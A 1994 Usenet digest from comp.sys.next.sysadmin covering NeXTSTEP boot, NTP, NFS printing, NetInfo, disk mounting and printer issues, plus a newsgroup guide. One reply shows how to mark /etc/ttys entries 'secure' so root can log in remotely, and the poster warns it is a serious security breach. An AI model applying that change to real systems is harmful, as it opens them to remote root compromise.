In article <2nk6pg$lpb@nwfocus.wa.com> ccooper@halcyon.halcyon.com (Charles W.
Cooper II) writes:
>
> Please! I need help with an answer to this. Thanks!
>
> Charles W. Cooper II (ccooper@halcyon.halcyon.com) wrote:
> : I've recently added an old NexT Cube with OS2.1 to a network on the
> : Internet. It previously operated in standalone mode.
>
> : Now, unless the network cable is connected, the machine won't complete
> : the boot process and display the window manager. It just hangs there.
> : When I put the cable back on, it boots. What would cause this behavior?
>
> : Thanks!
>
> : Charles Cooper
> : charles@oneworld.wa.com
With ethernet connected, the network is marked up during boot. The
machine is likely searching for a netinfo server.
To swing it to network use, boot the machine without the cable attached.
Then re-config (in 2.1 with NetManager) to the hostname and IP address
etc.. The app will then instruct you at the appropriate time to attach
the cable, and if memory serves will then set the stage for a re-boot.
Read the manual first though (should also be online in /NextLibrary).
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: How to sync time with other non-NS machine?
Message-ID: <1994Apr3.071329.9103@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <2nl2g1$ga7@news.iastate.edu>
Date: Sun, 3 Apr 1994 07:13:29 GMT
In article <2nl2g1$ga7@news.iastate.edu> chris@iastate.edu (Chris Wong)
writes:
> In my site, there is a machine which every other machines sync their
> time to it.
>
> Can my NS machine do this too?
Yes. In HostManager, the Network menu option gives you a panel to set up
time service.
All this really does is enable ntp; you can run ntp as root from the
command line. For example:
ntp -s ntp.demon.co.uk
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin
From: kent@infoserv.com
Subject: Re: Help with NeXT Optical Drive
Message-ID: <CnLtun.2Ix@infoserv.com>
Sender: kent@infoserv.com (Kent L. Shephard)
Organization: K. L. Shephard Consulting
References: <2nendd$ink@nntpd.lkg.dec.com>
Distribution: na
Date: Fri, 1 Apr 1994 23:42:22 GMT
In article <2nendd$ink@nntpd.lkg.dec.com> ras@nextras.mko.dec.com (Bob Surtees)
writes:
#I have a NeXT Dimension Cube running NeXTSTEP 3.2 and installed a magneto
#optical drive that I took out of an old NeXT cube that was running
#NeXTSTEP V1.0. Is it possible to access this drive? What do I need to
#do? Inserting a disk into the drive currently produces a few whiring
#sounds before the disk gets ejected.
#
#Thanks, Bob Surtees
Sounds like the drive is dirty and needs to be cleaned.
Kent
--
/* K.L. Shephard Consulting is my company. Infoserv only delivers my mail. */
/* Please direct mail to kent@infoserv.com other adresses may not work. */
Newsgroups: comp.sys.next.sysadmin
From: preuss@netcom.com (Peter Preuss)
Subject: Re: Help!! I'm knee deep in PC-NFS
Message-ID: <preussCnKH9B.IJ1@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <2nc6ev$b7m@bigguy.eng.ufl.edu>
Distribution: WORLD
Date: Fri, 1 Apr 1994 06:12:47 GMT
David Samson (david@nd.com) wrote:
: Hello, this is addressed to anyone with experience using PC-NFS.
: The problem is extablishing a NeXT machine as a print server for the
: various PC's on the network.
:
: This brings up issue #1. I need version 2 of pcnfsd for NeXT. Does
: anyone have a working version of this daemon? If so, are you familiar
: with the installation process?
: Issue #2. Do I have to run rpc.pcnfsd also? Where do I get this from and
: what is the installation process?
: Issue #3. What don't I know to get this to work? I'm a unix novice, to
: be sure.
I'm assuming your NeXT is black. Although I'm not sure, whether that matters:)
I needed to only add one line to /etc/rc (the one following the ###):
if [ -f /usr/etc/exportfs ]; then
# Clear the table of exported filesystems before running exportfs.
> /etc/xtab
fbshow -B -I "Exporting filesystems" -z 68
if /usr/etc/exportfs -a >/dev/console 2>&1; then
# There is no "right" number of nfsd's. Infrequently-accessed
# servers can get by with 4 or fewer. 8 is not excessive for
# heavily-loaded servers.
/usr/etc/nfsd 6 && (echo -n ' nfsd') >/dev/console
/usr/etc/rpc.mountd && (echo -n ' rpc.mountd') >/dev/console 2>&1
### added 021193 pp
/usr/etc/rpc.pcnfsd && (echo -n ' rpc.pcnfsd') >/dev/console 2>&1
fi
fi
This assumes rpc.pcnfsd is hidden in /usr/etc on your system as well.
Then I needed to generate a bogus (?) directory /usr/spool/lp with
'ln -s /usr/spool/lpd /usr/spool/lp' to keep lpd happy (error messages
in /usr/adm/lpd-errs). A friendly Beserkley UNIX administrator will
hopefully explain, why that is...
And then (after rebooting your NeXT) mount your NeXT printer from
within the PC-NFS configuration tool.
Peter.
--
preuss@futon.sfsu.edu San Francisco State University
From: xcarn@mcmuse.mc.maricopa.edu (Michael Carnright)
Newsgroups: comp.sys.next.sysadmin
Subject: help with computer rebooting
Date: 2 Apr 1994 20:48:17 GMT
Organization: Maricopa Community Colleges
Message-ID: <2nklmh$7ud@names.maricopa.edu>
I work with several Black NeXT computers that are networked together.
On several of these when they are powered down they reboot. Is there a
preferance I can change to keep them from automaticly rebooting?
A second question I have is that on several of the login windows
there is a phone icon. They are not set up to use this application (I
think). Why has this Icon appeared? Does it have something to do with
the Phone connector app. ?
Thank you in advance for any help you can give me on these problems.
From: shanega@athena.mit.edu (Shane G. Artis)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Printer woes
Date: 6 Apr 1994 19:58:44 GMT
Organization: Massachusetts Institute of Technology
Sender: shanega@athena.mit.edu
Message-ID: <2nv49k$4np@senator-bedfellow.MIT.EDU>
Keywords: NeXT Printer, NextPrinter, NetInfo
Having recently purchased a NeXT Printer (new) and tested it on a
very old NeXTSTEP version 2.1 machine successfully, I am now trying
to connect it to a NeXTSTEP version 3.0 color station. It is not working
for what appear to be a variety of reasons:
no drivers in the /usr/lib/NextPrinter/Drivers directory (deleted
long ago due to space considerations and no easy way to get the
originals off of our CD-ROM drive since we don't own one anymore).
Improper NetInfo configuration? We get errors in /private/adm/lpd-errs
saying:
Apr 6 15:34:27 next Server:Local_Printer[136]: Driver class not set in printer entry
Apr 6 15:34:28 next Inform[135]: DPS client library error: Could not form connection, host local host
'lpr' queues jobs momentarily, then these two errors are generated
and the job dequeues. '/usr/lib/NextPrinter/Server/prserver'
with the proper arguments generates the same errors.
So, I see a couple solutions. Could someone send me a list of each
Name/ Property/Value for NetInfo to use with a standard NeXT 400 DPI
printer? Next, could somebody send me the /usr/lib/NextPrinter
directory (3.0 or non-MAB 3.1/3.2 for black boxes) in an installer
bundle or simple .tar.Z format? Finally, we also removed
PrinterManager.app from NextAdmin. Do we need that and could somebody
send it to us if so? If anyone thinks there might be more problems
feel free to chip in!
I promise to never delete anything ever again with backups in tape, CD-ROM,
floppy, and microfilm format...
Many thanks,
Shane
Newsgroups: comp.sys.next.sysadmin
From: Brent Sessions <sessions@nih.gov>
Subject: Mounting partitio at boot time
Message-ID: <1994Apr6.194310.6466@alw.nih.gov>
Sender: postman@alw.nih.gov (AMDS Postmaster)
Organization: NIAID/National Institutes of Health
Date: Wed, 6 Apr 1994 19:43:10 GMT
Thanks for your responses so far about mounting local partitions at boot
time. It seems
my message didn't get posted normally the first time so I'll try the
whole thing again with
more information.
CPU: NeXT Cube 68040 33MHz w/NeXTDimension
MEMORY: 32 MB phys
OS: Mach 3.0
DISKS: Two Seagate ST41650 Rev 5938. 1.3 GB each
GOAL: Mount all partitions during boot.
BACKGROUND:
Built /dev/sd1a using BuildDisk. Made two partitions: sd1a and sd1b.
sd0a and sd1a mount
normally.
sd1b won't mount during boot time. Currently I have explicit mount
commands in rc.local that
do it ok, but I am wondering why the "mount -vat 4.3" command in /etc/rc
isn't doing the
trick.
Here is what my /etc/fstab looks like:
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd1a "/home" 4.3 rw 2 1
/dev/sd1b "/pub" 4.3 rw 2 1
Along with this question I am wondering how NetInfo and /etc/fstab relate
to each other in terms
of mounting devices. Specifically, which one really does it?
Thanks again,
Brent Sessions
Systems Support
National Institute of Allergies and Infectious Diseases
National Institutes of Health
Bethesda, MD USA
sessions@nih.gov
From: honor@pioneer.arc.nasa.gov (Alex Honor)
Newsgroups: comp.sys.next.sysadmin
Subject: Changing name of netinfo server
Date: 3 Apr 1994 11:20:29 GMT
Organization: NASA Ames Res. Ctr. Mtn Vw CA 94035
Distribution: world
Message-ID: <2nm8pt$8as@news.arc.nasa.gov>
Hello all,
I need to change the hostname of the parent netinfo server.
I used HostManager and changed the hostname of the "/" domain
and edited the appropriate line in the /etc/hostconfig file.
Unfortunately, when I rebooted, the exported directories were
still named with the previous hostname. At this point I read
the manual ;-) but could not find a simple way to change the
hostname. Do I need to create a new root domain and then
incorporate the data from the old one. At this point I don't
believe I can use SimpleNetworkStarter.
thanks to any who can offer advice,
/alex
_________________________________________________________
Alex Honor honor@nas.nasa.gov
NAS User Services 415-604-4444
NASA Ames Research Center Moffet Field, CA
No NeXTmail at this account
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Changing name of netinfo server
Message-ID: <1994Apr3.131849.9805@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <2nm8pt$8as@news.arc.nasa.gov>
Date: Sun, 3 Apr 1994 13:18:49 GMT
In article <2nm8pt$8as@news.arc.nasa.gov> honor@pioneer.arc.nasa.gov (Alex
Honor) writes:
> Hello all,
> I need to change the hostname of the parent netinfo server.
> I used HostManager and changed the hostname of the "/" domain
> and edited the appropriate line in the /etc/hostconfig file.
> Unfortunately, when I rebooted, the exported directories were
> still named with the previous hostname. At this point I read
> the manual ;-) but could not find a simple way to change the
> hostname. Do I need to create a new root domain and then
> incorporate the data from the old one. At this point I don't
> believe I can use SimpleNetworkStarter.
The mounts are one point of reference to the netinfo server.
But the most important ones are the /etc/hostconfig file, the /machines
entry, and the /master property, which points to the master of that
domain. There should be no other specifically netinfo references.
You have probably left out the /master property, which is also probably
the most important one to change.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: csmith@blackplague.gmu.edu (Christian Smith)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: root access by rlogin ?
Date: 3 Apr 1994 15:06:08 GMT
Organization: George Mason University, Fairfax, Virginia, USA
Message-ID: <2nmm10$m9a@portal.gmu.edu>
References: <1994Apr2.161604.20629@sifon.cc.mcgill.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
luc Oger (oger@fuego.civil.mcgill.ca) wrote:
: So this is the question :
: How is it possible to give the root access to the NeXt server
: for an external rsh order?
If you REALLY want to do this, what you have to do is make the tty entries
in /etc/ttys on the next secure. This will allow root access on that tty.
As an example, here is a current line in /etc/ttys
ttyp0 none network
make this and following entries to read
ttyp0 none network secure
You will probably have to make several such ttyp* entries secure in order
to assure that you will be able to get one that is secure from the SGI.
Note, that this is NOT advisable, as it creates a SERIOUS security breach.
--
Christian Smith
aka Blackplague
PGP Public Key available by finger or request.
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Moving home directories to a different hard disk
Date: 3 Apr 1994 01:29:37 GMT
Organization: Rensselaer Polytechnic Institute, Troy NY, USA
Distribution: world
Message-ID: <2nl661$dgq@usenet.rpi.edu>
References: <2nje78$704@agate.berkeley.edu>
izumi@mindseye.berkeley.edu (Izumi Ohzawa) writes:
> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes:
> >I have a bunch of home directories on the internal hard disk in
> >our lab system, and I want to move the stuff to an external
> >drive with more space.
>
> You can copy with all permissions and ownership with tar or gnutar.
>
> cd /
> gnutar cpf - Users | (cd /ExternDisk; gnutar xpf -)
>
> should copy everything intact, so you don't have to do chown for
> users.
Note: Use gnutar, and not "plain tar". Plain tar won't handle
long filenames correctly, and if you're moving all of /Users
then you're very likely to have at least a few users who have
files with very long pathnames.
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mac laserwriter postscript
Date: 3 Apr 1994 12:28:37 +0200
Organization: Palumbian Research Labs
Message-ID: <2nm5ol$5co@marsu.tynet.sub.org>
References: <611254079.19340@metr.metro.mactel.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Katie_Blakstad-Cooke@metro.mactel.org (Katie Blakstad-Cooke) writes:
>Does anyone know of an easy way to patch Mac LaserWriter postscript for
>printing through the NeXT ps server? The code I get from Quark XPress seems
>to define stuff outside the page conventions.
>Any Advice?
Yes! You have to install the LaserWriter driver version 8.0. It is the
first LW driver which generates compatible PS Level II code. Version 7.0
has a very strong "Apple-dialect". I made good experience with 8.0
driver output and NeXTSTEP.
Hope this helps,
Markus.
--
.sig got a SIGKILL signal.
From: sela@iastate.edu
Newsgroups: comp.sys.next.sysadmin
Subject: terminal help needed
Date: 4 Apr 1994 00:34:56 GMT
Organization: Iowa State University, Ames, Iowa
Distribution: world
Message-ID: <2nnnbg$6cj@news.iastate.edu>
How can I make my csh pull up the last entered command with the up arrow
key?
--
*******************IOWA***STATE***UNIVERSITY********************
* Brian Morrison sela@iastate.edu (NeXT Mail welcome!) *
* --------------------------------------------------------- *
* He who throws mud loses ground. *
****************************************************************
From: work@dannug.dk (Michael Hallin)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: looking for supported Appleshare for NeXTSTEP
Date: 6 Apr 1994 19:55:10 GMT
Organization: Danish NeXT User Group
Message-ID: <2nv42u$1ee@machthenext.dannug.dk>
References: <2nsfk3$frd@mckinley.cit.macalstr.edu>
In article <2nsfk3$frd@mckinley.cit.macalstr.edu>
akonstan@math.macalstr.edu (Alexander Konstantinou) writes:
|>I know that this is a frequently asked question but I have been unable
to find
|>the answer in the FAQ's. I am looking for a commercial implementation
of
|>Appleshare for m68k NeXT's. Although I remember this question being
asked
|>in the past I did not keep a copy of the responses. This probably
belongs to
|>the FAQ.
|>
|>Thanks in advance for your help.
|>
|>--
|>Alexander V. Konstantinou akonstan@math.macalstr.edu
(NeXTMail OK)
Have a look at IPT s Partner and uShare. I recent installed this package
on a customers NeXT to network an Apple/EtherTalk printer, and it works
like a charm.
best regards
Michael
---
_____________________________________________
Michael Hallin Copenhagen, Denmark
NeXTMail: work@dannug.dk
NonNeXTMail: mh.xeroxvang@rxdk.xerox.com
Voice: Int + 45 43 53 34 33
Fax: Int + 45 43 53 34 33
Work: Int + 45 43 43 43 03
Fax: Int + 45 43 43 59 70
_____________________________________________
From: work@dannug.dk (Michael Hallin)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Two Questions...
Date: 6 Apr 1994 20:24:58 GMT
Organization: Danish NeXT User Group
Message-ID: <2nv5qq$1g4@machthenext.dannug.dk>
References: <2ntl8t$p7s@galaxy.ucr.edu>
In article <2ntl8t$p7s@galaxy.ucr.edu> theharv@csld.ucr.edu (Brian Harvey)
writes:
|>Here are two questions for you experts:
|>
|>1) What file stores the GLOBAL defaults. I checked in my ~/.NeXT
|> directory but couldn't find those defaults in there (found the other
|> app defaults though)?
I believe all defaults are stored in the files NeXTDefaults.D and .L,
respectively, including the GLOBAL defaults, in your .NeXT folder in your
homedirectory.
|>
|>2) If I delete the ~/.NeXT directory, logout, and then log back in
|> again, from where does the new .NeXT come from?
I think that the system looks for this folder, .NeXT, and if it doesn t
find it, it will copy it from the template, located in usr/template/user.
Best regards
Michael
---
_____________________________________________
Michael Hallin Copenhagen, Denmark
NeXTMail: work@dannug.dk
NonNeXTMail: mh.xeroxvang@rxdk.xerox.com
Voice: Int + 45 43 53 34 33
Fax: Int + 45 43 53 34 33
Work: Int + 45 43 43 43 03
Fax: Int + 45 43 43 59 70
_____________________________________________
From: Mark Thomas <Thomas@Sonatech.com>
Newsgroups: comp.sys.next.sysadmin
Subject: Sun admin needs NextStep reference
Date: 6 Apr 1994 21:14:59 GMT
Organization: Sonatech, Inc.
Distribution: world
Message-ID: <2nv8oj$gjb@coyote.rain.org>
Hi.
I am a primarily Sun system administrator, and I will soon be in charge of
administration for some NeXT boxes. I'd like to know if there is a system
administration reference, preferably one that concentrates on the nuances of
NextStep rather than administration itself. I have all the FAQs. Are there
any good books on the subject?
Thanks.
#==================================================================#
Mark Thomas | Thomas@Sonatech.COM | I don't have enough
Network Analyst | AOL: Hackmaster | space in my signature
Sonatech, Inc. | Applelink: Sonatech | for a disclaimer :)
#==================================================================#
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 4 Apr 1994 00:51:30 -0400
Organization: Next Announcements
Message-ID: <2no6ci$8bn@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
NEXTSTEP World Wide Web Product Information Server online
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
New Information
---------------
NEXTSTEP World Wide Web Product Information Server online
A product directory built around the World Wide Web system,
this will allow full multimedia announcements by NEXTSTEP
developers, as well as the ability to browse the available
products for NEXTSTEP.
This service is online now, and can be reached at
http://digifix.digifix.com/
it can be reached using OmniWeb (available from ftp.omnigroup.com)
or Mosaic.
The entries are coming in quite quickly, and I'll be moving
the entire NEXTSTEP Third Party Catalog contents in as soon
as they become available.
Additionally the NEXTSTEP Product Information Mail Server will
be stocked full file files in the next week... you can get
information on using the mail server at
ns-products@digifix.com
Suggestions or comments can be directed to me at sanguish@digifix.com
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
Comp.Sys.Next.Software
This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
Comp.Sys.Next.Sysadmin
Stuff relating to NeXT system administration issues;
in rare cases this will spill over into .programmer
or .software.
related Newsgroups
------------------
Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.sysadmin
From: ue102aj@sun1.LRZ-Muenchen.DE (Christian Scheer)
Subject: Workspace Manager Error during Startup!!
Message-ID: <ue102aj.765721179@sun1>
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
Distribution: all
Date: Thu, 7 Apr 1994 12:19:39 GMT
Hello out there!
I've got a little Problem with one of our NeXTs !
When logging in as ROOT from the LoginWindow the WorkspaceManager appears
for a very short while to disappear suddenly before startup is
completed. A warning panel appears to inform me of a WSM error.
Why's that ??
In the archives, I only found the problem described but no solution.
I'd be very glad if someone could give me a hint...
Thanks
Christian
From: carlton@darkstar.isi.edu (Mike Carlton)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: Can't boot from CD-ROM to install
Date: 3 Apr 1994 20:03:05 -0700
Organization: USC Information Sciences Institute
Distribution: world
Message-ID: <2no019$5f5@darkstar.isi.edu>
References: <2njf9h$rv5@darkstar.isi.edu>
In article <2njf9h$rv5@darkstar.isi.edu> some knucklehead (Mike Carlton) writes:
>I'm trying to install NS 3.2 on an old nextstation. I've got a new hard
>disk, so I want to do a clean install. Unfortunately, I'm unable to
>boot from my CD-ROM drive (it's a Pinnacle recordable CD, but can read
>standard CDs of course).
As Emily Litella would say: nevermind. I gave up on the Pinnacle, scrounged
up an Apple CD-150 and installed no problem. Evidently there is something
funky with the Pinnacle (its model RCD-202 if anyone cares).
thanks for the help,
--mike (carlton@isi.edu)
Newsgroups: comp.sys.next.sysadmin
From: woo@ornl.gov (John W. Wooten)
Subject: Things seem to be "lost" in 3.2
Message-ID: <1994Apr4.134353.21462@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Mon, 4 Apr 1994 13:43:53 GMT
I've located /NextLibrary/Documentation/ManPages/man/man1/gzip.1
in the 3.2 release. The release notes state that compressed files will
now be labeled gz rather than Z etc.
If if ftp a file to my system in binary as a .gz file, it shows up in
the file browser as a text file, not as a compressed file, and
Opener.app doesn't know about it.
In addition, the above man pages aren't linked into /usr/man!
Is there a rather long script someone has built to fix all of the stuff
that this release was supposed to have fixed? I assume it's fixed,
just not linked in correctly.
Question for the lawyers: We purchase software that is supposed to
operate according to certain specifications (sometimes under government
purchasing contracts). We receive that software and it doesn't perform
according to those specifications (Bugs, I believe they are called).
Then later we are "offered" the opportunity to "upgrade" our software
for an additional fee to correct those portions that didn't function in
the first place according to specifications.
Should the GAO (for us government users) look into this? Normally what
we buy is expected to perform according to specification or the
upgrades to make it perform that way are FREE since that is what we
paid for in the first place.
- - - - - - - - -
J. W. Wooten
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: How to sync time with other non-NS machine?
Message-ID: <1994Apr6.213155.19158@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <1994Apr4.181710.11138@rdbois.uucp>
Date: Wed, 6 Apr 1994 21:31:55 GMT
In article <1994Apr4.181710.11138@rdbois.uucp> sr@rdbois.fdn.org
(serge_ruby) writes:
> In article <1994Apr3.071329.9103@seer.demon.co.uk> paul@seer.demon.co.uk
(Paul
> Lynch) writes:
> > ntp -s ntp.demon.co.uk
>
> Is there a way of doing this by UUCP? That is every time my NeXT
connects to
> the UUCP relay host the later sends the time, saving all the slab
connecting to
> it daily to have their time adjusted by hand every week (the clock
fitted in
> slabs is so inaccurate)?
Not that I can think of; uucp isn't a network protocol.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: How to sync time with other non-NS machine?
Message-ID: <1994Apr6.213243.19216@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <2nunas$a8b@news.iastate.edu>
Date: Wed, 6 Apr 1994 21:32:43 GMT
In article <2nunas$a8b@news.iastate.edu> chris@helser54.res.iastate.edu
(Chris Wong) writes:
> > In article <1994Apr3.071329.9103@seer.demon.co.uk>
paul@seer.demon.co.uk
> (Paul
> > Lynch) writes:
> > > ntp -s ntp.demon.co.uk
>
> Is this workable with non-NeXTSTEP machine?
Sure; anything, provided that they run ntpd.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Things seem to be "lost" in 3.2
Date: 4 Apr 1994 16:17:29 +0100
Organization: me organised, that's a joke.
Message-ID: <2npb29$177@steffi.demon.co.uk>
References: <1994Apr4.134353.21462@ornl.gov>
woo@ornl.gov wrote in comp.sys.next.sysadmin
>I've located /NextLibrary/Documentation/ManPages/man/man1/gzip.1
>in the 3.2 release. The release notes state that compressed files will
>now be labeled gz rather than Z etc.
>
>If if ftp a file to my system in binary as a .gz file, it shows up in
>the file browser as a text file, not as a compressed file, and
>Opener.app doesn't know about it.
Then your Opener app doesn't have the right .gz entry in it's table
file, or isn't in a an ".*Apps" path or docked.
>
>In addition, the above man pages aren't linked into /usr/man!
Read the release notes that come with NeXTSTEP developer.
"38816
Some man pages are installed in /usr/man/man instead of /usr/man/man1"
